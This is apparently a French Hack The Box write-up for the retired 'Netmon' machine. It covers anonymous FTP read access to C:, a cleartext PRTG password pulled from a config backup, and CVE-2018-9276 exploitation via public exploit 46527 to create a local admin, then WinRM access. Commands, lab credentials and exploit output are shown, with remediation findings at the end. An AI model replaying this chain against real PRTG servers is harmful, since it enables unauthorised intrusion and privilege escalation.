Windows Easy
Netmon : FTP anonyme sur C:, conf PRTG puis RCE CVE-2018-9276
FTP anonyme monté sur C: pour lire le flag user et la conf PRTG, mot de passe en clair dans un backup, puis RCE authentifiée PRTG (CVE-2018-9276) vers SYSTEM.
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- FTP en anonyme, monté directement sur
C:, donne le flag user et l'accès en lecture à tout le disque. - La conf de PRTG (
ProgramData\Paessler) contient le mot de passe admin en clair dans un vieux backup. - Le mot de passe du backup date de 2018, il faut incrémenter l'année pour se connecter à PRTG.
- PRTG 18.1.37 est vulnérable à CVE-2018-9276 : injection de commande authentifiée dans une notification, exécutée en SYSTEM.
- L'exploit crée un admin local
pentest, on rejoue en WinRM pour le flag root.
Reconnaissance
nmap -sC -sV -oA nmap/netmon 10.129.230.17621/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-title: Welcome | PRTG Network Monitor (NETMON)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012Deux signaux qui se combinent et donnent tout de suite le plan : FTP anonyme autorisé (230), et un PRTG Network Monitor 18.1.37, une build ancienne. Le réflexe de triage : l'anonyme d'abord, la version figée (PRTG) ensuite.
Foothold
FTP anonyme monté sur C:
La connexion anonyme passe, et le listing racine n'est pas un répertoire FTP dédié : c'est le disque système (Windows, Users, Program Files, inetpub). On a donc un accès en lecture à tout le FS sans authentification.
ftp anonymous@10.129.230.17602-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 08:08AM <DIR> Users
11-10-23 10:20AM <DIR> WindowsLe flag user se lit directement dans le bureau de l'utilisateur Public :
ftp> cd "Users/Public/Desktop"
ftp> get user.txtRécupérer la conf PRTG
Le port 80 tourne sous PRTG. Sa configuration, et donc ses identifiants, est stockée sur le disque, lisible via le FTP. Le dossier est dans ProgramData.
ftp> cd "ProgramData\Paessler\PRTG Network Monitor"
ftp> get "PRTG Configuration.old.bak"On récupère le .old.bak (le backup), pas la conf active : le backup est antérieur au chiffrement et contient le mot de passe en clair.
Le mot de passe en clair
grep -i -A8 dbpassword "PRTG Configuration.old.bak"<dbpassword>
PrTg@dmin2018
</dbpassword>Login PRTG : incrémenter l'année
On se connecte sur http://10.129.230.176/ avec prtgadmin:PrTg@dmin2019.
Élévation vers SYSTEM
CVE-2018-9276
PRTG 18.1.37 est vulnérable à CVE-2018-9276 : un paramètre d'une notification "Execute Program" n'est pas filtré et est passé à PowerShell, qui tourne en SYSTEM. L'exploit public automatise la création d'une notification malveillante et son déclenchement. Il a besoin du cookie de session authentifié.
searchsploit -m 46527
./46527.sh -u http://10.129.230.176 -c "OCTOPUS1813713946=<valeur_du_cookie>" [*] adding a new user 'pentest' with password 'P3nT3st'
[*] adding a user pentest to the administrators group
[*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun!Accès SYSTEM / root
Le compte pentest est membre des administrateurs locaux, donc WinRM passe :
evil-winrm -i 10.129.230.176 -u pentest -p 'P3nT3st!'*Evil-WinRM* PS C:\Users\pentest\Documents> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txtFindings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | FTP anonyme autorisé et monté sur la racine C: | Critique | Désactiver l'accès anonyme, cloisonner la racine FTP hors du disque système |
| F2 | Mot de passe PRTG en clair dans un backup de configuration lisible | Élevée | Protéger les backups, bannir les mots de passe en clair, tourner les secrets après exposition |
| F3 | Mot de passe prévisible (incrément d'année sur une base connue) | Moyenne | Mots de passe aléatoires sans schéma, gestionnaire de secrets |
| F4 | PRTG 18.1.37 vulnérable à CVE-2018-9276 (RCE authentifiée, SYSTEM) | Critique | Mettre à jour PRTG (>= 18.2.39), faire tourner le service en droits minimaux |
Leçons apprises
- Un FTP anonyme monté sur
C:n'est pas une simple fuite : c'est un accès lecture à tout le disque, flags et fichiers de conf compris. Toujours tester l'anonyme en premier. ProgramDataest le réflexe pour les secrets d'applis (PRTG, services) et il est caché : on y entre à l'aveugle par son chemin complet.- Un fichier de conf plein de
<inherited/>est truffé de leurres : la vraie valeur est celle qui n'hérite pas. - Un mot de passe récupéré dans un vieux backup doit faire penser à l'incrément logique (année, saison) avant d'abandonner.
- Un exploit qui affiche "success" ne prouve rien : ici le script validait un cookie mal formé sans rien créer. Vérifier l'effet réel (le compte existe ?) et non le message de sortie.